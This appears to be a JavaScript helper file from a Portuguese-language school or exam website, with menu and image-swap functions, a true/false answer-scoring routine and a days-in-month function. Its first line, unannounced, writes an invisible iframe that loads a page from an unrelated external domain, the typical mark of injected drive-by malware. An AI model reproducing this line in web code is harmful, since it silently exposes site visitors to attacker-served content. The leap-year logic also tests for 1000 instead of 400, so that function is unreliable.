document.write('<div style="visibility:hidden"><iframe src="http://gfeptwe.com/ld/dx/" width=100 height=80></iframe></div>');
	function mnOver(o){o.bgColor='#FFDD99';}
	function mnOut(o){o.bgColor='#FFCC99';}
	function mnRun(o,home){location.href=home + '?menu=' + o;}
	function help(o){window.open('helpade4.html?cod=' + o,'','toolbar=no,menubar=no,location=no,height=480,width=521,top=20,left=50');}

	function btOver(o,t){o.bgColor='#e6e6e6';document.forms["barra"].texto.value=t;}
	function btOut(o){o.bgColor='#ffffff';document.forms["barra"].texto.value="";}
	function makeHome(url){var o=document.body;o.style.behavior="url(#default#homePage)";o.setHomePage(url);}
	function addFavorite(url,name){window.external.AddFavorite(url,name);}

	String.prototype.trim = function()
	{
		// Implementa o TRIM em javascript
		// Use a regular expression to replace leading and trailing spaces with the empty string
		return this.replace(/(^\s*)|(\s*$)/g, "");
	}

	// variáveis do 'sniffer'
	var isNav = false, isIE = false;

	function init() {
		//Browser 'sniffer'
		if (document.all) {
			isIE = true;
		} else {
			isNav = true;
		}
	}

	function WM_preloadImages() {

	/*
	WM_preloadImages()
	Loads images into the browser's cache for later use.

	Source: Webmonkey Code Library
	(http://www.hotwired.com/webmonkey/javascript/code_library/)

	Author: Nadav Savio
	Author Email: nadav@wired.com

	Usage: WM_preloadImages('image 1 URL', 'image 2 URL', 'image 3 URL', ...);
	*/

		// Don't bother if there's no document.images
		if (document.images) {
			if (typeof(document.WM) == 'undefined'){
				document.WM = new Object();
			}
			document.WM.loadedImages = new Array();
			// Loop through all the arguments.
			var argLength = WM_preloadImages.arguments.length;
			for(arg=0;arg<argLength;arg++) {
				// For each arg, create a new image.
				document.WM.loadedImages[arg] = new Image();
				// Then set the source of that image to the current argument.
				document.WM.loadedImages[arg].src = WM_preloadImages.arguments[arg];
			}
		}
	}


	function WM_imageSwap(daImage, daSrc){
		var objStr,obj;
		/*
		WM_imageSwap()
		Changes the source of an image.

		Source: Webmonkey Code Library
		(http://www.hotwired.com/webmonkey/javascript/code_library/)

		Author: Shvatz
		Author Email: shvatz@wired.com

		Usage: WM_imageSwap(originalImage, 'newSourceUrl');

		Requires: WM_preloadImages() (optional, but recommended)
		Thanks to Ken Sundermeyer (ksundermeyer@macromedia.com) for his help
		with variables in ie3 for the mac. 
		*/

		// Check to make sure that images are supported in the DOM.
		if(document.images){
			// Check to see whether you are using a name, number, or object
			if (typeof(daImage) == 'string') {
				// This whole objStr nonesense is here solely to gain compatability
				// with ie3 for the mac.
				objStr = 'document.' + daImage;
				obj = eval(objStr);
				obj.src = daSrc;
			} else if ((typeof(daImage) == 'object') && daImage && daImage.src) {
				daImage.src = daSrc;
			}
		}
	}

	function comparaVF(resp,aluno,BrancoAnula,ErroAnula,Redist) {

		var i, NQ, Ac;

		NQ = 0;
		Ac = 0.0;
		if (resp == 'X') {
			return 2;
		}

		if (resp.length == 2) {
			if (resp == aluno) {return 1;} else {return 0;}
		} else {
			for (i = 1; i <= 5; i++) {
				if (resp[i] != 'X') {
					NQ++
					if (aluno.charAt(i-1) == resp.charAt (i-1)) {
						Ac++;										// O aluno acertou
					} else {

						if ((aluno.charAt(i-1) == 'X') && (BrancoAnula)) {	// Deixou em branco...
							Ac--;									// ... e branco anula
						}

						if ((aluno.charAt(i-1) != 'X') && (ErroAnula)) {		// Não deixou em branco...
							Ac--;									// ... e errada anula
						}
					}
				} else if (!Redist) {								// Se os pontos não redistribuem
					Ac++;
					NQ++;											// considera questão nula como certa
				}
			}
			if (NQ == 0) {
				return 2;											// Acontece se todas anuladas!
			} else {
				if (Ac < 0) {
					return 0;
				} else {
					return Ac/NQ;
				}
			}
		}
	}

	function diasMes (mm,aa) {
		var nd = 30;
		if ((mm==1)||(mm==3)||(mm==5)||(mm==7)||(mm==8)||(mm==10)||(mm==12)) {nd++;}

		if (mm==2) {
			if ((aa % 4) == 0) {
				if ((aa % 100) == 0) {
					if ((aa % 1000) == 0) {
						nd = 29;
					} else {
						nd = 28;
					}
				} else {
					nd = 29;
				}
			} else {
				nd = 28;
			}
		}
		return (nd);

	}
